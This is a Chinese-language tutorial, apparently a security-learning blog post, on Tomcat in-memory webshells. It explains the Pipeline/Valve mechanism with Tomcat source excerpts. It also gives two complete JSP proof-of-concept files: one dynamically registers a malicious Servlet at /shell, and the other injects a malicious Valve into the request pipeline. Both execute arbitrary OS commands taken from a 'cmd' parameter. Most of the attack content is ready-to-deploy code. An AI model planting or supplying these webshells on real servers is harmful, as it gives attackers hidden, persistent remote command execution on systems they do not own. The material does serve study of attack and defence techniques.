创建Wrapper对象 1 2 3 4 5 6 7 8 9 10 <% Shell_Servlet shell_servlet = new Shell_Servlet (); String name = shell_servlet.getClass().getSimpleName(); Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1 ); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName()); %>
将Wrapper添加进StandardContext 1 2 3 4 <% standardContext.addChild(wrapper ); standardContext.addServletMappingDecoded("/shell",name ); %>
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %> <%! public class Shell_Servlet implements Servlet { @Override public void init (ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } } %> <% Shell_Servlet shell_servlet = new Shell_Servlet (); String name = shell_servlet.getClass().getSimpleName(); Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1 ); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName()); %> <% standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell" ,name); %>
访问Servlet.jsp动态注册Servlet
访问对应路径的Servlet命令执行
Servlet型内存马的缺点就是必须要访问对应的路径才能命令执行,易被发现。
什么是valve? 在了解Valve之前,我们先来简单了解一下Tomcat中的管道机制
。
我们知道,当Tomcat接收到客户端请求时,首先会使用Connector
进行解析,然后发送到Container
进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到Servlet进行处理的呢?这里涉及到的机制就是Tomcat管道机制。
管道机制主要涉及到两个名词,Pipeline(管道)和Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。这里的调用流程可以类比为Filter中的责任链机制
在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例。
管道机制流程分析 我们先来看看Pipeline接口,继承了Contained接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public interface Pipeline extends Contained { public Valve getBasic () ; public void setBasic (Valve valve) ; public void addValve (Valve valve) ; public Valve[] getValves(); public void removeValve (Valve valve) ; public void findNonAsyncValves (Set<String> result) ; }
Pipeline接口提供了各种对Valve的操作方法,如我们可以通过addValve()
方法来添加一个Valve。下面我们再来看看Valve接口
1 2 3 4 5 6 7 8 9 10 11 12 13 public interface Valve { public Valve getNext () ; public void setNext (Valve valve) ; public void backgroundProcess () ; public void invoke (Request request, Response response) throws IOException, ServletException; public boolean isAsyncSupported () ; }
其中getNext()方法可以用来获取下一个Valve,Valve的调用过程可以理解成类似Filter中的责任链模式,按顺序调用。
同时Valve可以通过重写invoke()
方法来实现具体的业务逻辑
1 2 3 4 5 6 7 8 class Shell_Valve extends ValveBase { @Override public void invoke (Request request, Response response) throws IOException, ServletException { ... } } }
下面我们通过源码看一看,消息在容器之间是如何传递的。首先消息传递到Connector被解析后,在org.apache.catalina.connector.CoyoteAdapter#service
方法中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public void service (org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception { Request request = (Request) req.getNote(ADAPTER_NOTES); Response response = (Response) res.getNote(ADAPTER_NOTES); if (request == null ) { request = connector.createRequest(); request.setCoyoteRequest(req); response = connector.createResponse(); response.setCoyoteResponse(res); request.setResponse(response); response.setRequest(request); req.setNote(ADAPTER_NOTES, request); res.setNote(ADAPTER_NOTES, response); req.getParameters().setQueryStringCharset(connector.getURICharset()); } ... try { ... connector.getService().getContainer().getPipeline().getFirst().invoke( request, response); } ... }
前面是对Request和Respone对象进行一些判断及创建操作,我们重点来看一下connector.getService().getContainer().getPipeline().getFirst().invoke(request, response)
首先通过connector.getService()
来获取一个StandardService对象
接着通过StandardService
.getContainer().getPipeline()
获取StandardPipeline
对象。
再通过StandardPipeline.getFirst()
获取第一个Valve
1 2 3 4 5 6 7 8 @Override public Valve getFirst () { if (first != null ) { return first; } return basic; }
最后通过调用StandardEngineValve.invoke()
来实现Valve的各种业务逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public final void invoke (Request request, Response response) throws IOException, ServletException { Host host = request.getHost(); if (host == null ) { if (!response.isError()) { response.sendError(404 ); } return ; } if (request.isAsyncSupported()) { request.setAsyncSupported(host.getPipeline().isAsyncSupported()); } host.getPipeline().getFirst().invoke(request, response); }
host.getPipeline().getFirst().invoke(request, response)
实现调用后续的Valve。
动态添加Valve 根据上文的分析我们能够总结出Valve型内存马的注入思路
获取StandardContext
对象
通过StandardContext
对象获取StandardPipeline
编写恶意Valve
通过StandardPipeline.addValve()
动态添加Valve
获取StandardPipeline对象 1 2 3 4 5 6 7 8 <% Field reqF = request.getClass().getDeclaredField("request" ) reqF.setAccessible(true) Request req = (Request) reqF.get(request) StandardContext standardContext = (StandardContext) req.getContext() Pipeline pipeline = standardContext.getPipeline() %>
编写恶意Valve类 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <%! class Shell_Valve extends ValveBase { @Override public void invoke (Request request, Response response) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } } %>
将恶意Valve添加进StandardPipeline 1 2 3 4 <% Shell_Valve shell_valve = new Shell_Valve (); pipeline.addValve(shell_valve); %>
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="org.apache.catalina.Pipeline" %> <%@ page import ="org.apache.catalina.valves.ValveBase" %> <%@ page import ="org.apache.catalina.connector.Response" %> <%@ page import ="java.io.IOException" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); Pipeline pipeline = standardContext.getPipeline(); %> <%! class Shell_Valve extends ValveBase { @Override public void invoke (Request request, Response response) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } } %> <% Shell_Valve shell_valve = new Shell_Valve (); pipeline.addValve(shell_valve); %>
访问Valve.jsp任意路径即可命令执行
后续也会学习怎么防御的持续更新
资料:https://goodapple.top/archives/1355